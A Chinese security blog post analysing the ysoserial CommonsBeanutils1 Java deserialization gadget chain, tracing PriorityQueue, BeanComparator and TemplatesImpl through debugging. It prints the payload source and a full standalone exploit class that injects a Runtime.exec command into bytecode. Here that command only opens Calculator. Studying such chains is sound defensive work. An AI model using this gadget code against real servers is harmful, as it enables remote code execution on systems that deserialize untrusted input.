freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

java反序列化学习-ysoserial-CommonsBeanutils1
2023-06-08 21:46:42
所属地 浙江省

CommonsBeanutils1

针对组件

  1. "commons-beanutils:commons-beanutils:1.9.2",
  2. "commons-collections:commons-collections:3.1",
  3. "commons-logging:commons-logging:1.2"

主要还是commons-beanutils

  1. commons-beanutils是Apache Commons项目中的一个子项目,提供了一组操作Java Bean对象的工具类。它包含了一些常用的Bean操作方法,如复制、填充、转换等,可以简化开发人员对Java Bean对象进行操作的流程,提高开发效率。

java Bean

  1. Java Bean是一种符合Java语言规范的特定类,常用于表示具有属性、getter和setter方法的对象。
  2. 属性必须使用private修饰:属性必须使用private修饰,以保证其访问权限仅限于该类内部。
  3. 为每个属性提供getter和setter方法:getter方法用于获取属性值,setter方法用于设置属性值。

CommonsBeanutils1源码

根据以下代码大致可以把CommonsBeanutils1的关键分为三个部分:

createTemplatesImpl、BeanComparator、PriorityQueue

  1. package ysoserial.payloads;
  2. import java.math.BigInteger;
  3. import java.util.PriorityQueue;
  4. import org.apache.commons.beanutils.BeanComparator;
  5. import ysoserial.payloads.annotation.Authors;
  6. import ysoserial.payloads.annotation.Dependencies;
  7. import ysoserial.payloads.util.Gadgets;
  8. import ysoserial.payloads.util.PayloadRunner;
  9. import ysoserial.payloads.util.Reflections;
  10. @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
  11. @Authors({"frohoff"})
  12. public class CommonsBeanutils1 implements ObjectPayload<Object> {
  13. public CommonsBeanutils1() {
  14. }
  15. public Object getObject(String command) throws Exception {
  16. Object templates = Gadgets.createTemplatesImpl(command);
  17. BeanComparator comparator = new BeanComparator("lowestSetBit");
  18. PriorityQueue<Object> queue = new PriorityQueue(2, comparator);
  19. queue.add(new BigInteger("1"));
  20. queue.add(new BigInteger("1"));
  21. Reflections.setFieldValue(comparator, "property", "outputProperties");
  22. Object[] queueArray = (Object[])((Object[])Reflections.getFieldValue(queue, "queue"));
  23. queueArray[0] = templates;
  24. queueArray[1] = templates;
  25. return queue;
  26. }
  27. public static void main(String[] args) throws Exception {
  28. PayloadRunner.run(CommonsBeanutils1.class, args);
  29. }
  30. }

createTemplatesImpl

  1. public static Object createTemplatesImpl(String command) throws Exception {
  2. return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl(command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
  3. }
  4. public static <T> T createTemplatesImpl(String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
  5. T templates = tplClass.newInstance();
  6. ClassPool pool = ClassPool.getDefault();
  7. pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
  8. pool.insertClassPath(new ClassClassPath(abstTranslet));
  9. CtClass clazz = pool.get(StubTransletPayload.class.getName());
  10. String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replace("\\", "\\\\").replace("\"", "\\\"") + "\");";
  11. clazz.makeClassInitializer().insertAfter(cmd);
  12. clazz.setName("ysoserial.Pwner" + System.nanoTime());
  13. CtClass superC = pool.get(abstTranslet.getName());
  14. clazz.setSuperclass(superC);
  15. byte[] classBytes = clazz.toBytecode();
  16. Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Foo.class)});
  17. Reflections.setFieldValue(templates, "_name", "Pwnr");
  18. Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
  19. return templates;
  20. }

createTemplatesImpl位于ysoserial.payloads.util.Gadgets。他的根据代码看它的作用大概就是利用JAVAssist来创建不同的类。

  1. JAVAssist( JAVA Programming ASSISTant ) 是一个开源的分析 , 编辑 , 创建 Java字节码( Class )的类库 . 他允许开发者自由的在一个已经编译好的类中添加新的方法,或者是修改已有的方法。我可以利用JAVAssist在代码中动态的修改一个class类文件。

根据Objecttemplates=Gadgets.createTemplatesImpl(command);我们会进入第一个 createTemplatesImpl然后调用第二个createTemplatesImpl其中参数如下:

  1. tplClass: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  2. abstTranslet: com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
  3. transFactory: com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl

1、T templates=tplClass.newInstance();通过newInstance实例化了一个com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的对象

2、ClassPoolpool=ClassPool.getDefault();创建一个类池,默认情况下,池子里包含了系统类路径上的所有类。

3、pool.insertClassPath(newClassClassPath(StubTransletPayload.class));用于向类路径中添加一个新的类或包。

4、CtClassclazz=pool.get(StubTransletPayload.class.getName());获得一个可以操作StubTransletPayload类的对象clazz ,CtClass( compile-time class , 编译时类信息 ) 是一个 Class 文件在代码中的抽象表现形式 , 用于处理类文件 .在pool.get获取过对象类之后,就可以对字节码进行操作。

5、clazz.makeClassInitializer().insertAfter(cmd);在clazz 指向的字节码也就是读入到内存的StubTransletPayload类新增一个静态代码块,把前面的cmd恶意代码插入。

6、clazz.setName("ysoserial.Pwner"+System.nanoTime());setName修改类名称

7、clazz.setSuperclass(superC);把读入的abstTranslet类设置成clazz的父类。

8、Reflections.setFieldValue这个方法用于设置类的属性,在上面的代码中 比较重要的时_bytecodes属性,被写入了携带cmd的字节码

9、最后返回做好的类templates

BeanComparator

首先根据BeanComparatorcomparator=newBeanComparator("lowestSetBit");可以看出,这个漏洞的触发类应该是位于org.apache.commons.beanutils.BeanComparator类。根据介绍和网上的文章可以定位到触发方法compare。

  1. org.apache.commons.beanutils.BeanComparator是Apache Commons BeanUtils库中的一个类,用于比较JavaBean对象。它实现了Java的java.util.Comparator接口,并提供了一些额外的功能,使得比较JavaBean对象变得更加简单。

确定位置之后直接写个测试类进行动态调试看看具体的调用流程。

  1. final public class Cat {
  2. public Cat(){}
  3. public String name = "cat";
  4. public void setName(String name) {this.name = name;}
  5. public String getName() throws IOException {return name;}
  6. }
  7. public class test {
  8. public static void main(String[] args) throws Exception {
  9. Cat c=new Cat();
  10. List<Cat> list = new ArrayList<>();
  11. list.add(c);
  12. list.add(c);
  13. BeanComparator<Cat> comparator1 = new BeanComparator<>("name");
  14. Collections.sort(list, comparator1); // 断点
  15. }
  16. }

image-20230608102037310

进入sort方法会直接进入compare方法

  1. public int compare(T o1, T o2) {
  2. if (this.property == null) {
  3. return this.internalCompare(o1, o2);
  4. } else {
  5. try {
  6. Object value1 = PropertyUtils.getProperty(o1, this.property);
  7. Object value2 = PropertyUtils.getProperty(o2, this.property);
  8. return this.internalCompare(value1, value2);
  9. } catch (IllegalAccessException var5) {
  10. throw new RuntimeException("IllegalAccessException: " + var5.toString());
  11. } catch (InvocationTargetException var6) {
  12. throw new RuntimeException("InvocationTargetException: " + var6.toString());
  13. } catch (NoSuchMethodException var7) {
  14. throw new RuntimeException("NoSuchMethodException: " + var7.toString());
  15. }
  16. }
  17. }

image-20230608102159120

一直步入进入getProperty

  1. getProperty()是PropertyUtils类中一个非常常用的方法,用于获取指定Java Bean对象中指定属性的值。该方法有两个参数:
  2. bean:需要获取属性值的Java Bean对象。
  3. name:要获取的属性名。

image-20230608103951506

继续进入getNestedProperty

image-20230608104031426

进入到getNestedProperty,在其中经过一系列判断进入了getSimpleProperty

image-20230608104129824

在getSimpleProperty中,也是经过一系列if然后执行了下面这个。

  1. PropertyDescriptor descriptor = this.getPropertyDescriptor(bean, name);
  2. /*
  3. PropertyDescriptor类是Java内置的一种用于描述Java Bean属性的类,它可以用来获取和操作Bean属性的元数据信息(如属性名、getter和setter方法等)。
  4. getPropertyDescriptor()是一个公共静态方法,定义在java.beans.Introspector类中。该方法用于获取指定Bean类中所包含的某个属性的PropertyDescriptor对象。
  5. */

拿到descriptor之后就执行下面这行,是为了寻找找Cat类的getter,也就是getName。

  1. Method readMethod = this.getReadMethod(bean.getClass(), descriptor);

继续向下就到了Objectvalue=this.invokeMethod(readMethod,bean,EMPTY_OBJECT_ARRAY);,此时我们已经拿到了Cat的属性name,和获取name属性的方法getName。根据invokeMethod这个方法名字大概也猜到了,它应该是去调用readMethod对应的方法来获取name属性。进入invokeMethod之后一路跑到returnmethod.invoke(bean,values);

image-20230608105932303

继续步入invoke居然跳到了Cat类

image-20230608110322803

看了下调用,发现在进入Cat之前还路过了几个方法,method调用的invoke是java.lang.reflect包下的官方自带的方法。也就是说到最后回去调用getter方法来获得对应的属性。

image-20230608110602738

image-20230608111040132

  1. 根据前面的调用流程分析,PropertyUtils.getProperty最后还是调用Java Bean对象本身的getter方法来获取属性值,如果getter方法中含有恶意代码,那么在执行org.apache.commons.beanutils.BeanComparator#compare时也会被执行。

修改Cat的getName方法:

image-20230608111645079

image-20230608111747701

PriorityQueue

PriorityQueue位于java.util,不仅实现了java序列化接口Serializable,还重写了readObject方法,在反序列化时会运行readObject

在PriorityQueue#readObject方法中,最后调用了heapify()

image-20230608161207381

在heapify中又调用了siftDown

image-20230608161228439

然后再siftDown调用了非常眼熟的方法

image-20230608161310686

继续跟进之后不出所料的调用了compare

image-20230608161404136

总结

回到CommonsBeanutils1的main方法中PayloadRunner.run(CommonsBeanutils1.class,args);

  1. public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
  2. byte[] serialized = (byte[])(new ExecCheckingSecurityManager()).callWrapped(new Callable<byte[]>() {
  3. public byte[] call() throws Exception {
  4. String command = args.length > 0 && args[0] != null ? args[0] : PayloadRunner.getDefaultTestCmd();
  5. System.out.println("generating payload object(s) for command: '" + command + "'");
  6. ObjectPayload<?> payload = (ObjectPayload)clazz.newInstance();
  7. Object objBefore = payload.getObject(command);
  8. System.out.println("serializing payload");
  9. byte[] ser = Serializer.serialize(objBefore);
  10. Utils.releasePayload(payload, objBefore);
  11. return ser;
  12. }
  13. });
  14. try {
  15. System.out.println("deserializing payload");
  16. Object var3 = Deserializer.deserialize(serialized);
  17. } catch (Exception var4) {
  18. var4.printStackTrace();
  19. }
  20. }

ObjectobjBefore=payload.getObject(command);返回的objBefore是一个封装好的PriorityQueuequeue。objBefore就是最后的payload并且objBefore最后被序列化了。

从objBefore的反序列化开始一步步往回推,由前面说到的PriorityQueue反序列化时会发生以下调用情况:

  1. readObject()-->heapify()-->siftDown()-->BeanComparator.compare()

进入到BeanComparator之后会按照之前说的进入getProperty()去获取属性,由于在CommonsBeanutils1.getObject方法中有一步替换属性名的操作Reflections.setFieldValue(comparator,"property","outputProperties");property被替换成outputProperties,根据java Bean的特性调用了getOutputProperties()

image-20230608165741835

getOutputProperties()

  1. public synchronized Properties getOutputProperties() {
  2. try {
  3. return newTransformer().getOutputProperties();
  4. }
  5. catch (TransformerConfigurationException e) {
  6. return null;
  7. }
  8. }

首先会进入returnnewTransformer()getTransletInstance()

image-20230608170013199

getTransletInstance()会进入defineTransletClasses()中,写在_bytecodes的字节码被加载回来达到rce效果

image-20230608170831490

EXP参考:

来源:(https://github.com/BabyTeam1024/ysoserial_analyse/blob/main/CButils1.java)

  1. package test1;
  2. import com.nqzero.permit.Permit;
  3. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  4. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  5. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  6. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  7. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  8. import javassist.ClassPool;
  9. import javassist.CtClass;
  10. import org.apache.commons.beanutils.BeanComparator;
  11. import org.apache.commons.collections4.comparators.TransformingComparator;
  12. import org.apache.commons.collections4.functors.InvokerTransformer;
  13. import ysoserial.payloads.util.Reflections;
  14. import java.io.*;
  15. import java.lang.reflect.AccessibleObject;
  16. import java.lang.reflect.Field;
  17. import java.math.BigInteger;
  18. import java.util.PriorityQueue;
  19. public class CButils1 {
  20. public static byte[] serialize(final Object obj) throws Exception {
  21. ByteArrayOutputStream btout = new ByteArrayOutputStream();
  22. ObjectOutputStream objOut = new ObjectOutputStream(btout);
  23. objOut.writeObject(obj);
  24. return btout.toByteArray();
  25. }
  26. public static Object unserialize(final byte[] serialized) throws Exception {
  27. ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
  28. ObjectInputStream objIn = new ObjectInputStream(btin);
  29. return objIn.readObject();
  30. }
  31. public static Field getField(final Class<?> clazz, final String fieldName) {
  32. Field field = null;
  33. try {
  34. field = clazz.getDeclaredField(fieldName);
  35. field.setAccessible(true);
  36. }
  37. catch (NoSuchFieldException ex) {
  38. if (clazz.getSuperclass() != null)
  39. field = getField(clazz.getSuperclass(), fieldName);
  40. }
  41. return field;
  42. }
  43. public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
  44. final Field field = getField(obj.getClass(), fieldName);
  45. return field.get(obj);
  46. }
  47. public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
  48. Field field = null;
  49. Class clazz = obj.getClass();
  50. try {
  51. field = clazz.getDeclaredField(fieldName);
  52. field.setAccessible(true);
  53. }
  54. catch (NoSuchFieldException ex) {
  55. if (clazz.getSuperclass() != null)
  56. field = clazz.getSuperclass().getDeclaredField(fieldName);
  57. }
  58. field.set(obj, value);
  59. }
  60. public static class StubTransletPayload extends AbstractTranslet implements Serializable {
  61. public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
  62. @Override
  63. public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
  64. }
  65. public static Object createTemplatesImpl(String command) throws Exception{
  66. Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance();
  67. // use template gadget class
  68. ClassPool pool = ClassPool.getDefault();
  69. final CtClass clazz = pool.get(StubTransletPayload.class.getName());
  70. String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
  71. command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
  72. "\");";
  73. ((CtClass) clazz).makeClassInitializer().insertAfter(cmd);
  74. clazz.setName("ysoserial.Pwner" + System.nanoTime());
  75. final byte[] classBytes = clazz.toBytecode();
  76. setFieldValue(templates, "_bytecodes", new byte[][] {
  77. classBytes});
  78. // required to make TemplatesImpl happy
  79. setFieldValue(templates, "_name", "Pwnr");
  80. setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
  81. return templates;
  82. }
  83. public static void main(String[] args) throws Exception {
  84. final Object templates = createTemplatesImpl("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
  85. // mock method name until armed
  86. // create queue with numbers and basic comparator
  87. final BeanComparator comparator = new BeanComparator("lowestSetBit");
  88. final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,comparator);
  89. // stub data for replacement later
  90. queue.add(new BigInteger("1"));
  91. queue.add(new BigInteger("1"));
  92. // switch method called by comparator
  93. setFieldValue(comparator, "property", "outputProperties");
  94. // switch contents of queue
  95. final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
  96. queueArray[0] = templates;
  97. queueArray[1] = templates;
  98. // return queue;
  99. byte[] serializeData=serialize(queue);
  100. unserialize(serializeData);
  101. }
  102. }

image-20230608172009113

# java反序列化 # Java代码审计 # ysoserial
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者